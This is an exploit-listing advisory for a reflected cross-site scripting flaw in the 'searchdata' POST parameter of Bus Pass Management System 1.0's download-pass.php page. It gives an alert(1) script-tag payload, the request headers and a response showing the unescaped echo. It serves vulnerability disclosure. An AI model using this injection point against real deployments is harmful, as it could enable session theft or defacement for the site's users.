# Exploit Title: Bus Pass Management System 1.0 - 'searchdata' Cross-Site Scripting (XSS)  
# Date: 2022-07-02  
# Exploit Author: Ali Alipour  
# Vendor Homepage:  
# Software Link:  
# Version: 1.0  
# Tested on: Windows 10 Pro x64 - XAMPP Server  
# CVE : N/A  
#Issue Detail:  
The value of the searchdata request parameter is copied into the HTML document as plain text between tags. The payload cyne7<script>alert(1)</script>yhltm was submitted in the searchdata parameter. This input was echoed unmodified in the application's response.  
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.  
# Vulnerable page: /buspassms/download-pass.php  
# Vulnerable Parameter: searchdata [ POST Data ]  
#Request :   
POST /buspassms/download-pass.php HTTP/1.1  
Cookie: PHPSESSID=s5iomgj8g4gj5vpeeef6qfb0b3  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36  
Connection: close  
Cache-Control: max-age=0  
Content-Length: 25  
#Response :   
HTTP/1.1 200 OK  
Date: Fri, 01 Jul 2022 00:14:25 GMT  
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.8  
X-Powered-By: PHP/7.4.8  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 6425  
Connection: close  
Content-Type: text/html; charset=UTF-8  
<!DOCTYPE html>  
<html lang="en">  
<title>Bus Pass Management System || Pass Page</title>  
<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLba  
<h4 style="padding-bottom: 20px;">Result against "966196cyne7<script>alert(1)</script>yhltm" keyword </h4>